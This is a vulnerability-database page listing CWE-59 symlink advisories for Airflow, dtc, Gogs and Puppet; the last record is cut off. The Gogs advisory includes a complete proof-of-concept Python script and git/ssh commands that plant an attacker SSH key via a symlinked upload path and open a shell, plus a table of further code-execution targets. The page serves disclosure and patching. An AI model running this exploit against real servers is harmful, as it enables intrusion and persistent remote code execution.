Common Weakness Enumeration

CWE-59

Allowed

Improper Link Resolution Before File Access ('Link Following')

Abstraction: Base · Status: Draft

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

1987 vulnerabilities reference this CWE, most recent first.

GHSA-89CJ-XRPX-J79M

Vulnerability from github – Published: 2026-06-01 09:31 – Updated: 2026-07-09 20:53

Summary

Apache Airflow has a Link Following issue

Details

A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. /etc/passwd or airflow.cfg) or (b) supply a task_id containing .. sequences accepted by the Task SDK's KEY_REGEX (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured base_log_folder, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-airflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:53:56Z",
    "nvd_published_at": "2026-06-01T09:16:17Z",
    "severity": "MODERATE"
  },
  "details": "A Dag author could either (a) create a symlink under their task\u0027s log directory pointing to an arbitrary file readable by the API server process (read-path attack \u2014 e.g. `/etc/passwd` or `airflow.cfg`) or (b) supply a `task_id` containing `..` sequences accepted by the Task SDK\u0027s `KEY_REGEX` (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured `base_log_folder`, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server\u0027s filesystem.",
  "id": "GHSA-89cj-xrpx-j79m",
  "modified": "2026-07-09T20:53:56Z",
  "published": "2026-06-01T09:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40861"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/pull/65325"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/airflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2026-181.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/823334db2559xjlwt59gpzjz47thnscl"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/31/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Airflow has a Link Following issue"
}

GHSA-89CV-84HG-JG67

Vulnerability from github – Published: 2022-05-17 02:18 – Updated: 2022-05-17 02:18

Details

dtc 0.29.6 allows local users to overwrite arbitrary files via a symlink attack on (a) /tmp/awstats.log, (b) /tmp/spam.log.#####, and (c) /tmp/spam_err.log temporary files, related to the (1) accesslog.php and (2) sa-wrapper scripts.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2008-4951"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-11-05T15:00:00Z",
    "severity": "MODERATE"
  },
  "details": "dtc 0.29.6 allows local users to overwrite arbitrary files via a symlink attack on (a) /tmp/awstats.log, (b) /tmp/spam.log.#####, and (c) /tmp/spam_err.log temporary files, related to the (1) accesslog.php and (2) sa-wrapper scripts.",
  "id": "GHSA-89cv-84hg-jg67",
  "modified": "2022-05-17T02:18:32Z",
  "published": "2022-05-17T02:18:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4951"
    },
    {
      "type": "WEB",
      "url": "https://bugs.gentoo.org/show_bug.cgi?id=235770"
    },
    {
      "type": "WEB",
      "url": "https://bugs.gentoo.org/show_bug.cgi?id=235812"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46411"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/496362"
    },
    {
      "type": "WEB",
      "url": "http://dev.gentoo.org/~rbu/security/debiantemp/dtc-common"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2008/10/30/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-89MR-XQFV-758M

Vulnerability from github – Published: 2026-06-23 17:09 – Updated: 2026-06-23 17:09

Summary

Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym

Details

Summary

(*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component — UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.

Windows builds are unaffected: filepath.Base treats \ as a separator (strips the multi-segment trick) and git defaults core.symlinks=false at checkout (committed mode-120000 entries become text files, not real symlinks). Details

The asymmetric check at internal/database/repo_editor.go:601-612:

targetPath := path.Join(dirPath, upload.Name)
if osx.IsSymlink(targetPath) {                       // ← LEAF-ONLY
    return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
}
if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }

vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:

if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
    return errors.New("cannot update file with symbolic link in path")
}

hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf — fine inside the loop, wrong as a single call.

Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) — Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\\", "/") — converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...) — no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.

Suggested fix

Replace the leaf check at repo_editor.go:606 with hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name)) — the same primitive UpdateRepoFile already uses.
Walk opts.TreePath before the os.MkdirAll(dirPath, ...) at line 583 so that pre-existing symlinked components don't let MkdirAll create directories outside the repo.
Switch iox.CopyFile's open to O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer.
In database.NewUpload, after pathx.Clean, refuse name containing / or \ outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.

PoC

Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osx↔osutil, iox.CopyFile↔com.Copy, identical logic).

Reproduction prerequisites

gogs ≥ 0.14.0 on Linux/macOS (runtime.GOOS != "windows").
Two attacker accounts on the gogs instance with write to a repo attacker/playground (repo creators are admins of their own repos).
git ≥ 2.x with core.symlinks=true (Linux/macOS default).
Python 3 stdlib only — curl -F does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.

Why curl alone is unreliable

Bug needs two backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\X → X) yields a single \ in the parsed filename, which pathx.Clean then turns into /.

Shell form	Wire bytes	Go parses to	upload.Name	Triggers?
`-F "...filename=a\b"`	`a\b`	`ab`	`ab`	no
`-F "...filename=a\\b"` (double quotes)	`a\b`	`ab`	`ab`	no
`-F '...filename=a\\b'` (single quotes)	`a\\b`	`a\b`	`a/b`	yes

The Python below removes the ambiguity.

Step 1 — plant the directory symlink

git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..

Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.

Step 2 — upload + commit

Save as poc.py:

#!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie

GOGS_HOST  = 'gogs.example'
USERNAME   = 'attacker'
PASSWORD   = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME  = 'playground'
BRANCH     = 'main'
PUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'

ctx = ssl.create_default_context()    # set to None for plain HTTP / port 3000
def conn():
    if ctx is None:
        return http.client.HTTPConnection(GOGS_HOST, 3000)
    return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)

cookies = {}
def update_cookies(resp):
    for hdr in resp.msg.get_all('Set-Cookie') or []:
        for name, morsel in SimpleCookie(hdr).items():
            cookies[name] = morsel.value
def cookie_header():
    return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
    return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)

# 1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())

# 2. Submit credentials
c = conn()
c.request('POST', '/user/login',
    body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'

# 3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)

# 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
#    Wire form: filename="hijack\\authorized_keys"
boundary = '----poc-' + 'x' * 16
filename_on_wire = r'hijack\\authorized_keys'   # 23 chars, 2 of them backslashes
body = (
    f'--{boundary}\r\n'
    f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
    f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
    'Content-Type': f'multipart/form-data; boundary={boundary}',
    'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']

# 5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
    body=urllib.parse.urlencode({
        '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
        'commit_choice': 'direct', 'files': uuid,
    }),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)

python3 poc.py
# upload status: 200 body: {"uuid":"<UUID>"}
# commit status: 302

Step 3 — confirm and use the foothold

sudo cat /home/git/.ssh/authorized_keys           # operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop

ssh -i ~/.ssh/id_ed25519 git@gogs.example         # attacker's view
# → shell as the gogs runtime UID

Server-side trace

multipart wire bytes:  filename="hijack\\authorized_keys"
mime.ParseMediaType    → "hijack\authorized_keys"           (quoted-pair: \\ → \)
filepath.Base          → "hijack\authorized_keys"           (Linux: only / is a separator)
pathx.Clean            → "hijack/authorized_keys"           (\\ → /, then path.Clean)

UploadRepoFiles:
  targetPath = <local-r>/<repoID>/hijack/authorized_keys
             = /home/git/.ssh/authorized_keys               (parent symlink resolved)
  osx.IsSymlink(targetPath) = false                         (leaf doesn't exist as a symlink)
  iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)

Other reachable targets (same primitive)

Symlink target	Effect on next event
`/home/git/.ssh`	SSH key implant → shell as gogs UID
`<RepoRoot>/<owner>/<repo>.git/hooks`	Hook overwrite → arbitrary code on next push
`<RepoRoot>/<owner>/<repo>.git`	`core.fsmonitor=<cmd>` in `config` → exec on next git op
`~git/custom/conf`	Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart
Path of the sqlite DB file	DoS or admin-row replant

Independent confirmation against the source

git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
     <(sed -n '601,615p' internal/database/repo_editor.go)
# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
# Confirm: pathx.Clean does ReplaceAll("\\", "/")

Impact

Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to ~git/.ssh/authorized_keys → ssh in.
Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by any user with GOGS_AUTH_USER_* env populated), app.ini SECRET_KEY (forges session cookies, decrypts stored 2FA secrets and mirror credentials).
Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
Linux/macOS only. Windows hosts are unaffected for two independent reasons (filepath.Base separator handling, git's core.symlinks default).

Severity

9.0 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52811"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:09:55Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Summary\n\n`(*Repository).UploadRepoFiles` checks for symlinks only on the **leaf** of the upload target (`osx.IsSymlink(targetPath)`). The siblings `UpdateRepoFile`, `DeleteRepoFile`, and `GetDiffPreview` use `hasSymlinkInPath`, which lstats every component \u2014 `UploadRepoFiles` is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by `filepath.Base` on Linux, then converted to `/` by `pathx.Clean`) redirects the write through a previously-committed directory symlink. `iox.CopyFile` opens the destination with `os.Create` (no `O_NOFOLLOW`), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write \u2014 `~git/.ssh/authorized_keys` \u2192 SSH foothold, or `\u003crepo\u003e.git/hooks/post-receive` \u2192 next-push RCE.\n\nWindows builds are unaffected: `filepath.Base` treats `\\` as a separator (strips the multi-segment trick) and git defaults `core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks).\nDetails\n\nThe asymmetric check at `internal/database/repo_editor.go:601-612`:\n\n```go\ntargetPath := path.Join(dirPath, upload.Name)\nif osx.IsSymlink(targetPath) {                       // \u2190 LEAF-ONLY\n    return errors.Newf(\"cannot overwrite symbolic link: %s\", upload.Name)\n}\nif err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }\n```\n\nvs. `UpdateRepoFile`\u0027s correct walker at `internal/database/repo_editor.go:163`:\n\n```go\nif hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {\n    return errors.New(\"cannot update file with symbolic link in path\")\n}\n```\n\n`hasSymlinkInPath` (`internal/database/repo_editor.go:120-131`) lstats every component; `osx.IsSymlink` (`internal/osx/osx.go:35-41`) is `os.Lstat` mode-bit on the leaf \u2014 fine inside the loop, wrong as a single call.\n\nMulti-segment `upload.Name` reaches the loop because: (1) `c.Req.FormFile(\"file\")` returns `*multipart.FileHeader` whose `Filename` is `filepath.Base(filename)` \u2014 Linux only treats `/` as separator, so backslashes are preserved; (2) `NewUpload` calls `pathx.Clean` (`internal/pathx/pathx.go:13-16`) which does `strings.ReplaceAll(p, \"\\\\\", \"/\")` \u2014 converting backslashes to forward slashes; (3) `upload.Name = \"evil/foo\"` is persisted and joined into `path.Join(dirPath, upload.Name)`. `iox.CopyFile` at `internal/iox/iox.go:24` uses `os.Create(dst)` = `OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...)` \u2014 no `O_NOFOLLOW`, kernel follows symlinks in path. Git\u0027s default `core.symlinks=true` on Linux materialises pushed mode-120000 trees as real symlinks at the next `UpdateLocalCopyBranch`.\n\nSuggested fix\n\n1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` \u2014 the same primitive `UpdateRepoFile` already uses.\n2. Walk `opts.TreePath` *before* the `os.MkdirAll(dirPath, ...)` at line 583 so that pre-existing symlinked components don\u0027t let `MkdirAll` create directories outside the repo.\n3. Switch `iox.CopyFile`\u0027s open to `O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW`, closing the lstat\u2192write TOCTOU at the syscall layer.\n4. In `database.NewUpload`, after `pathx.Clean`, refuse `name` containing `/` or `\\` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.\n\nPoC\n\nTested against gogs HEAD `d7571322` on Ubuntu 24.04. Reproduces on `v0.14.2` (packages renamed `osx`\u2194`osutil`, `iox.CopyFile`\u2194`com.Copy`, identical logic).\n\n### Reproduction prerequisites\n- gogs \u2265 0.14.0 on Linux/macOS (`runtime.GOOS != \"windows\"`).\n- Two attacker accounts on the gogs instance with write to a repo `attacker/playground` (repo creators are admins of their own repos).\n- `git` \u2265 2.x with `core.symlinks=true` (Linux/macOS default).\n- Python 3 stdlib only \u2014 `curl -F` does NOT trigger the bug because shell quoting + Go\u0027s RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.\n\n### Why curl alone is unreliable\n\nBug needs *two* backslash bytes on the wire so Go\u0027s `mime.ParseMediaType` quoted-string rule (`\\X` \u2192 `X`) yields a single `\\` in the parsed filename, which `pathx.Clean` then turns into `/`.\n\n| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |\n|---|---|---|---|---|\n| `-F \"...filename=a\\b\"`  | `a\\b`  | `ab`  | `ab`  | no |\n| `-F \"...filename=a\\\\b\"` (double quotes) | `a\\b`  | `ab`  | `ab`  | no |\n| `-F \u0027...filename=a\\\\b\u0027` (single quotes) | `a\\\\b` | `a\\b` | `a/b` | **yes** |\n\nThe Python below removes the ambiguity.\n\n### Step 1 \u2014 plant the directory symlink\n\n```sh\ngit clone https://attacker:attacker_password@gogs.example/attacker/playground\ncd playground\nln -s /home/git/.ssh hijack\ngit add hijack \u0026\u0026 git commit -m \u0027docs link\u0027 \u0026\u0026 git push origin main\ncd ..\n```\n\nBare repo now contains a mode-120000 entry for `hijack`. Next `UpdateLocalCopyBranch` materialises `\u003cconf.AppDataPath\u003e/tmp/local-r/\u003crepoID\u003e/hijack \u2192 /home/git/.ssh`.\n\n### Step 2 \u2014 upload + commit\n\nSave as `poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for gogs UploadRepoFiles parent-symlink \u2192 arbitrary file write.\"\"\"\nimport http.client, ssl, json, re, urllib.parse\nfrom http.cookies import SimpleCookie\n\nGOGS_HOST  = \u0027gogs.example\u0027\nUSERNAME   = \u0027attacker\u0027\nPASSWORD   = \u0027attacker_password\u0027\nREPO_OWNER = \u0027attacker\u0027\nREPO_NAME  = \u0027playground\u0027\nBRANCH     = \u0027main\u0027\nPUBKEY     = \u0027ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\\n\u0027\n\nctx = ssl.create_default_context()    # set to None for plain HTTP / port 3000\ndef conn():\n    if ctx is None:\n        return http.client.HTTPConnection(GOGS_HOST, 3000)\n    return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)\n\ncookies = {}\ndef update_cookies(resp):\n    for hdr in resp.msg.get_all(\u0027Set-Cookie\u0027) or []:\n        for name, morsel in SimpleCookie(hdr).items():\n            cookies[name] = morsel.value\ndef cookie_header():\n    return \u0027; \u0027.join(f\u0027{k}={v}\u0027 for k, v in cookies.items())\ndef get_csrf(html):\n    return re.search(r\u0027name=\"_csrf\"\\s+(?:value|content)=\"([^\"]+)\"\u0027, html).group(1)\n\n# 1. GET /user/login \u2192 session cookie + CSRF\nc = conn(); c.request(\u0027GET\u0027, \u0027/user/login\u0027)\nr = c.getresponse(); update_cookies(r)\ncsrf_token = get_csrf(r.read().decode())\n\n# 2. Submit credentials\nc = conn()\nc.request(\u0027POST\u0027, \u0027/user/login\u0027,\n    body=urllib.parse.urlencode({\u0027_csrf\u0027: csrf_token, \u0027user_name\u0027: USERNAME, \u0027password\u0027: PASSWORD}),\n    headers={\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n             \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token})\nr = c.getresponse(); r.read(); update_cookies(r)\nassert r.status in (302, 303), f\u0027login failed: {r.status}\u0027\n\n# 3. Refresh CSRF for the logged-in session\nc = conn()\nc.request(\u0027GET\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}\u0027, headers={\u0027Cookie\u0027: cookie_header()})\nr = c.getresponse(); html = r.read().decode(); update_cookies(r)\ncsrf_token = get_csrf(html)\n\n# 4. Hand-built multipart with literal \"\\\\\" (two backslash bytes) in filename.\n#    Wire form: filename=\"hijack\\\\authorized_keys\"\nboundary = \u0027----poc-\u0027 + \u0027x\u0027 * 16\nfilename_on_wire = r\u0027hijack\\\\authorized_keys\u0027   # 23 chars, 2 of them backslashes\nbody = (\n    f\u0027--{boundary}\\r\\n\u0027\n    f\u0027Content-Disposition: form-data; name=\"file\"; filename=\"{filename_on_wire}\"\\r\\n\u0027\n    f\u0027Content-Type: text/plain\\r\\n\\r\\n{PUBKEY}\\r\\n--{boundary}--\\r\\n\u0027\n).encode()\nc = conn()\nc.request(\u0027POST\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}/upload-file\u0027, body=body, headers={\n    \u0027Content-Type\u0027: f\u0027multipart/form-data; boundary={boundary}\u0027,\n    \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token,\n})\nr = c.getresponse(); upload_resp = r.read().decode()\nprint(\u0027upload status:\u0027, r.status, \u0027body:\u0027, upload_resp)\nuuid = json.loads(upload_resp)[\u0027uuid\u0027]\n\n# 5. Commit the uploaded file at the repo root.\nc = conn()\nc.request(\u0027POST\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/\u0027,\n    body=urllib.parse.urlencode({\n        \u0027_csrf\u0027: csrf_token, \u0027tree_path\u0027: \u0027\u0027, \u0027commit_summary\u0027: \u0027docs link\u0027,\n        \u0027commit_choice\u0027: \u0027direct\u0027, \u0027files\u0027: uuid,\n    }),\n    headers={\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n             \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token})\nr = c.getresponse(); r.read()\nprint(\u0027commit status:\u0027, r.status)\n```\n\n```sh\npython3 poc.py\n# upload status: 200 body: {\"uuid\":\"\u003cUUID\u003e\"}\n# commit status: 302\n```\n\n### Step 3 \u2014 confirm and use the foothold\n\n```sh\nsudo cat /home/git/.ssh/authorized_keys           # operator\u0027s view\n# \u2192 ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n\nssh -i ~/.ssh/id_ed25519 git@gogs.example         # attacker\u0027s view\n# \u2192 shell as the gogs runtime UID\n```\n\n### Server-side trace\n\n```\nmultipart wire bytes:  filename=\"hijack\\\\authorized_keys\"\nmime.ParseMediaType    \u2192 \"hijack\\authorized_keys\"           (quoted-pair: \\\\ \u2192 \\)\nfilepath.Base          \u2192 \"hijack\\authorized_keys\"           (Linux: only / is a separator)\npathx.Clean            \u2192 \"hijack/authorized_keys\"           (\\\\ \u2192 /, then path.Clean)\n\nUploadRepoFiles:\n  targetPath = \u003clocal-r\u003e/\u003crepoID\u003e/hijack/authorized_keys\n             = /home/git/.ssh/authorized_keys               (parent symlink resolved)\n  osx.IsSymlink(targetPath) = false                         (leaf doesn\u0027t exist as a symlink)\n  iox.CopyFile \u2192 os.Create \u2192 OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)\n```\n\n### Other reachable targets (same primitive)\n\n| Symlink target | Effect on next event |\n|---|---|\n| `/home/git/.ssh` | SSH key implant \u2192 shell as gogs UID |\n| `\u003cRepoRoot\u003e/\u003cowner\u003e/\u003crepo\u003e.git/hooks` | Hook overwrite \u2192 arbitrary code on next push |\n| `\u003cRepoRoot\u003e/\u003cowner\u003e/\u003crepo\u003e.git` | `core.fsmonitor=\u003ccmd\u003e` in `config` \u2192 exec on next git op |\n| `~git/custom/conf` | Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart |\n| Path of the sqlite DB file | DoS or admin-row replant |\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\ndiff \u003c(sed -n \u0027160,170p\u0027 internal/database/repo_editor.go) \\\n     \u003c(sed -n \u0027601,615p\u0027 internal/database/repo_editor.go)\n# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)\nsed -n \u002713,16p\u0027 internal/pathx/pathx.go\n# Confirm: pathx.Clean does ReplaceAll(\"\\\\\", \"/\")\n```\n\nImpact\n\n- **Authenticated RCE** as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) \u2192 upload with crafted filename \u2192 commit \u2192 write to `~git/.ssh/authorized_keys` \u2192 ssh in.\n- Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with `GOGS_AUTH_USER_*` env populated), `app.ini` `SECRET_KEY` (forges session cookies, decrypts stored 2FA secrets and mirror credentials).\n- Persistent: symlink and key both survive restart; removing the attacker\u0027s repo access does not undo the SSH foothold.\n- Linux/macOS only. Windows hosts are unaffected for two independent reasons (`filepath.Base` separator handling, git\u0027s `core.symlinks` default).",
  "id": "GHSA-89mr-xqfv-758m",
  "modified": "2026-06-23T17:09:55Z",
  "published": "2026-06-23T17:09:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-89mr-xqfv-758m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/pull/8332"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/04cb8afbb01d855454e59977a1cdbf522ea1db31"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym"
}

GHSA-8C56-V25W-F89C

Vulnerability from github – Published: 2022-05-14 00:56 – Updated: 2024-01-16 21:31

Summary

Puppet arbitrary file overwrite

Details

Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x allows local users to overwrite arbitrary files via a symlink attack on the .k5login file.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "puppet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "puppet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2011-3869"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-16T21:31:04Z",
    "nvd_published_at": "2011-10-27T20:55:00Z",
